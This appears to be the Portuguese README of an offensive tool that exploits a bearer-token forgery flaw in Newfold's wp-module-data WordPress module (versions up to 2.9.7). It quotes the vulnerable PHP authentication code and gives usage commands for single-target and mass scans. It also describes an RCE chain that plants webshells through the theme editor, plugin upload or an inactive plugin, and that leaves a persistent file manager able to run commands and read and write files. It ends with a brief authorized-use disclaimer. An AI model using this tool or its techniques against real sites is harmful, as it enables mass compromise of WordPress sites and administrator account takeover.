Plugins Newfold (wp-module-data <= 2.9.7) Não autenticado
Bypass de autenticação não autenticado e exploit de RCE direcionado a plugins WordPress da Newfold que incluem wp-module-data.
Esta ferramenta explora uma falha de validação de token Bearer no módulo wp-module-data da Newfold. Quando um site WordPress que usa um plugin Newfold afetado não está conectado ao Hiive, HiiveConnection::get_auth_token() retorna false. Esse valor passa por strrev() e depois é hasheado, colapsando o salt secreto para a constante pública:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Como todos os outros componentes do payload hasheado (método HTTP, URL da requisição, corpo da requisição, timestamp) são totalmente controlados pelo atacante, um token Bearer válido pode ser calculado offline. O filtro vulnerável é executado em rest_authentication_errors, então um token forjado autentica o chamador como o para toda a API REST do WordPress, incluindo rotas do core. Esse acesso é então aproveitado para execução remota de código completa.
| Plugin / Módulo | Versões Afetadas | Corrigido |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
A detecção também cobre os slugs de plugins do WordPress.org wp-plugin-web e crazy_blog.
Em vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
Em um site não conectado, strrev(false) é convertido para strrev(''), que resulta em '', e o salt se torna o hash bem conhecido da string vazia. Todas as outras entradas da cadeia de hash são controladas pelo atacante, então o token é totalmente previsível.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me e inspecionando as roles404.php / index.php.fm.php persistente opcional inserido no webrootwp-login.php) e login clássico por formulário em wp-login.phprequestsurllib3 (opcional, apenas para suprimir avisos de TLS)Instale as dependências:
pip install requests urllib3
Detecção somente leitura e verificação de bypass:
python3 exploit.py -u https://target.example
Cadeia completa até um shell persistente:
python3 exploit.py -u https://target.example --mode rce
Redefinir a senha do primeiro administrador em vez de criar um novo:
python3 exploit.py -u https://target.example --mode rce --takeover
Somente verificação em uma lista de alvos:
python3 exploit.py --list targets.txt
Cadeia completa em cada host vulnerável (requer opt-in explícito):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Pré-filtragem usando sondagens de assets estáticos antes de tocar na API REST:
python3 exploit.py --list targets.txt --brand-filter
Parar após os primeiros N hosts vulneráveis:
python3 exploit.py --list targets.txt --stop-after 5
Retomar uma execução anterior:
python3 exploit.py --list targets.txt --resume
| Flag | Descrição |
|---|---|
-u, --url | URL base de um único alvo |
--list | Arquivo contendo uma URL de alvo por linha |
--mode | check (apenas detecção) ou rce (cadeia completa); padrão check |
--takeover | Redefine a senha do primeiro admin em vez de criar um novo admin |
--output | Caminho de saída JSONL para o modo em massa; padrão cve_2026_80099_results.jsonl |
--vuln-list | Lista de URLs simples dos hosts vulneráveis; padrão vuln.txt |
--threads | Número de workers para o modo em massa; padrão 20 |
--timeout | Timeout de requisição em segundos; padrão 15 |
--fast-timeout | Timeout de sondagem rápida em segundos; padrão 6 |
--retries | Tentativas de retry por requisição; padrão 1 |
--proxy | URL de proxy HTTP(S) |
--all-out | Grava todas as linhas do modo em massa, não apenas as vulneráveis |
--apply-rce | Executa a cadeia de RCE nos hosts vulneráveis no modo em massa |
--brand-filter | Pré-filtra usando assets estáticos de plugins Newfold |
--stop-after | Para a varredura em massa após N hosts vulneráveis; 0 significa executar todos |
--quiet | Desativa as linhas de progresso por alvo |
--resume | Anexa à saída e pula alvos já presentes |
Uma vez confirmado um contexto de administrador, a ferramenta tenta três técnicas em ordem:
Shell via editor de temas — grava um pequeno payload PHP no 404.php ou index.php do tema ativo. O payload é acionado ao requisitar qualquer URL inexistente (para 404.php) ou a raiz do site (para index.php).
Shell via upload de plugin — monta um ZIP contendo um plugin mínimo, faz upload via wp-admin/update.php?action=upload-plugin e acessa o arquivo PHP do plugin diretamente.
Cadeia via editor de plugin inativo — lista os plugins via API REST, seleciona um inativo, grava um cmd-shell em seu arquivo principal via plugin-editor.php, ativa-o via PUT /wp/v2/plugins/<slug>, aciona o shell em qualquer URL do frontend, insere .fm.php no webroot, depois desativa o plugin e restaura o arquivo original. Esse caminho foi projetado para sobreviver a hosts que bloqueiam o editor de temas, bloqueiam acesso direto a wp-content ou revertem edições através de verificações de saúde via loopback.
Em caso de sucesso, um gerenciador de arquivos .fm.php persistente é inserido no webroot. Ele suporta:
?cmd=<shell command>?cat=<path> para ler um arquivo?put=<path>&data=<base64> para gravar um arquivo?ls=<path> para listar um diretóriocve_2026_80099_results.jsonl — registros JSONL para cada alvo escaneado. Entradas vulneráveis incluem vuln: true, admin, admin_id e, quando o RCE é bem-sucedido, shell (a URL do gerenciador de arquivos ou shell inserido).vuln.txt — uma URL simples por linha para cada alvo vulnerável ou com shell.trust_env = False para evitar vazamento de varreduras em massa através de proxies locais.Url::getCurrentUrl(). A requisição é preparada primeiro e o token é derivado da URL preparada.json_encode, incluindo barras escapadas, escape \uXXXX para não-ASCII e pares substitutos UTF-16 para caracteres astrais, de modo que o payload hasheado corresponda byte a byte.401 normalmente significa que o alvo está corrigido (módulo >= 2.9.8), o site está conectado ao Hiive (token real, salt desconhecido) ou um intermediário remove o cabeçalho Authorization. 403 normalmente indica que outro filtro rest_authentication_errors interferiu.Esta ferramenta é fornecida apenas para testes de segurança autorizados e pesquisa. Use-a exclusivamente contra sistemas que você possui ou tem permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições e pode resultar em penalidades civis e criminais severas. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por este software.